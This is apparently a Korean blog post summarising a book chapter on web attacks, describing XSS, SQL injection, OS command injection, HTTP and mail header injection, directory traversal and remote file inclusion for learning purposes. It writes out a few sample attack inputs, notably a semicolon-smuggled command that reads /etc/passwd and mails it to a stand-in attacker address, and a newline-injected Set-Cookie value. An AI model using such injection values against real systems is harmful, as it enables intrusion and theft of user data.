##본 포스팅은 '그림으로 배우는 Http & Network Basic - 우에노 센'을 읽고 쓴 요약/정리 글입니다.
웹 공격 기술
HTTP 자체는 보안 상의 문제가 일어날 정도로 복잡한 프로토콜은 아니기에 프로토콜 자체가 공격 대상이 되지는 않는다.
공격 대상은 HTTP를 사용하는 서버와 클라이언트 그리고 서버 상에서 동작하는 웹 애플리케이션 등의 리소스이다.
1. 리퀘스트는 클라이언트에서 변조 가능하다
웹 애플리케이션에 대한 공격은 HTTP 리퀘스트 메시지에 공격 코드를 실어서 실행된다.
공격 패턴은,
- 능동적 공격
: 공격자가 직접 웹 애플리케이션에 액세스해서 공격 코드를 보내는 타입의 공격 ( SQL 인젝션, OS 커맨드 인젝션)
- 수동적 공격
: 함정을 이용해서 유저에게 공격 코드를 실행시키도록 유도하는 공격 (XSS, CSRF)
공격코드를 실행하면 취약성이 있는 웹 애플리케이션을 경유한 결과로서 유저가 가지고 있는 쿠키 등의 기밀 정보를 도둑맞거나 로그인 중인 유저의 권한이 약용되는 등의 피해가 발생한다.
이 있다.
특히, 수동적 공격을 이용하면 공격자가 액세스할 수 없는 인트라넷도 유저가 액세스할 수 있는 네트워크라면 공격가능하다.
출력 값의 이스케이프 미비로 인한 취약성
보안 대책은 크게
- 클라이언트에서 체크
- 서버측에서 체크
로 나뉠 수 있는데, 클라이언트에서 체크는 JavaScript를 사용하지만 변조될 가능성이 있기에 근본적인 보안 대책으로는 적합하지 않다. 클라이언트 측의 체크는 단순히 입력 실수를 바로 지적해 주는 정도로 사용하자.
결국 서버측에서의 체크가 중요한데, 출력값의 이스케이프가 미비할 경우 공격자가 보낸 공격 코드가 출력하는 대상에 피해를 입힐 수 있다.
1) XSS (크로스 사이트 스크립팅)
사용자의 브라우저에서 부정한 HTML 태그나 JavaScript등을 동작시키는 공격이다.
동적으로 HTML을 생성하는 부분에서 취약성이 발생할 수 있다.
- 가짜 입력 폼 등에 의해 유저의 개인 정보를 도둑맞을 수 있음
- 스크립트에 의해 유저의 쿠키값이 도둑맞거나, 피해자가 의도하지 않은 리퀘스트가 송신됨
- 가짜 문장이나 이미지 등이 표시될 수 있음
ex1) 입력폼 <script> 인젝션
URL을 열어도 보기에는 변함이 없지만 설치하 ㄴ스크립트가 동작하고 있어 유저가 폼에 ID와 패스워드를 입력하면 공격자의 사이트인 hackr.jp로 송신되어 빼앗길 수 있다.
ex2) 쿠키를 빼앗는 공격
XSS 취약점이 있는 웹 애플리케이션에서 JavaScript가 실행되면 해당 웹 애플리케이션의 도메인의 쿠키 정보에 액세스된다.
즉, 스크립트가 동작하면 열람하고 있는 웹 사이트의 쿠키를 도난당한다.
2) SQL 인젝션
만약에 SQL의 호출 방법에 미비가 있을 경우, 의도하지 않은 SQL문이 삽입되어 실행되어 버리는 경우가 있다.
- 데이터베이스 내의 데이터 부정 열람이나 변조
- 인증 회피
- 데이터베이스 서버를 경유한 프로그램 실행 등
SQL 인젝션은 공격자에 의해 개발자가 의도하지 않은 형태로 SQL 문장이 변경되어 구조가 파괴되는 공격이다.
(잘 아는 내용이기에 생략)
3) OS 커맨드 인젝션
OS 커맨드 인젝션이란 웹 애플리케이션을 경유하여 OS 명령을 부정하게 실행하는 공격이다.
쉘을 호출하는 함수가 있는 곳에서 발생할 가능성이 있다. 웹 애플리케이션에서는 OS에서 사용되는 커맨드를 쉘을 경유하여 실행할 수도 있다.
ex1) 메일 송신 기능
공격자가 입력한 값에는 ;이 포함되어있다.
이것은 OS 커맨드에 복수의 커맨드를 실행하기 위한 구별자로서 해석되기때문에, sendmail 커맨드가 실행된 후 일단락되고, 그 다음에 다른 커맨드 [cat/etc/passwd | mailhack@example.jp]가 실행된다.
4) HTTP 헤더 인젝션
공격자가 리스폰스 헤더 필드에 개행 문자 등을 삽입함으로써 임의의 리스폰스 헤더 필드나 바디를 추가하는 수동적 공격이다.
웹 애플리케이션에서는 다음과 같이 리스폰스 헤더 필드 Location과 Set-Cookie와 같이 외부에서 받은 값을 삽입하는 경우가 있다.
HTTP 헤더 인젝션은 이러한 리스폰스 헤더 필드에 값을 출력하는 처리가 있던 곳에 개행 문자를 삽입함으로써 발생할 수 있다.
- 임의의 쿠키 세트
- 임의의 URL에 리다이렉트
- 임의의 바디 표시(HTTP 리스폰스 분할 공격)
ex1) 임의의 URL에 리다이렉트
만약 카테고리를 선택하면 해당 각 카테고리의 페이지로 리다이렉트 시키는 기능이 있다고 하자.
이 기능은 카테고리마다 카테고리 ID가 설정되어있어서, 카테고리를 선택하면 리스폰트에 [Location:http://example.com/?cat=101]과 같이 Location 헤더 필드 내에 그 값이 반영되어 리다이렉트된다.
공격자는 이 카테고리 ID를 다음과 같이 고쳐 보내면,
%0ㅇ%0A는 HTTP 메시지에 개행 문자를 의미하고 뒤에 이어지는 내용은 공격자 사이트의 세션 ID에 SID=123456789를 강제적으로 세트하기 위한 Set-Cookie 헤더 필드이다.
리퀘스트를 보내면 아래와 같은 내용의 리스폰스가 반환된다.
공격자가 입력한 개행 문자는 원래 Location 헤더 필드의 쿼리 값이 되어야하지만 개행 문자로 해석되어버려 새로운 헤더 필드가 추가되는 결과를 초래한다.
이 외에도, 개행문자를 두개 보내어 HTTP 헤더와 바디를 나누는 빈 행을 만들어 내고 가짜 바디를 표시하는 공격인 HTTP 리스폰스 분할 공격도 있다.
5) 메일 헤더 인젝션
메인 헤더 인젝션은 메일 송신 기능에 공격자가 임의의 To 및 Subject 등의 메일 헤더를 부정하게 추가하는 공격이다.
이 또한 개행문자를 사용하면 메일의 헤더 필드를 다시 쓰거나 본문에 첨부 파일을 추가할 수도 있다.
6) 디렉토리 접근 공격
파일명을 지정할 때 절대경로를 지정할 수 있다면 공개를 원치않는 파일에 액세스할 수도 있다.
이 경우 임의의 파일 이름을 지정할 수 없도록 해야한다.
(잘 아는 내용이기에 생략)
7) 리모트 파일 인클루션
스크립트 일부를 다른 파일에서 읽어올 때 공격자가 지정한 외부 서버의 URL을 파일에서 읽게 함으로써 임의의 스크립트를 동작시키는 공격이다.
주로 PHP에서 발생하는 취약성으로 PHP의 include와 require 설정에 따라서 외부 서버의 URL을 파일명으로 지정할 수 있는 기능이다.
ex)
만약 foo.php가 $_GET['mod']를 읽어와 include 시킨다면,
위와같이 ls 명령어가 담긴 명령어를 날려 공격할 수 있게된다.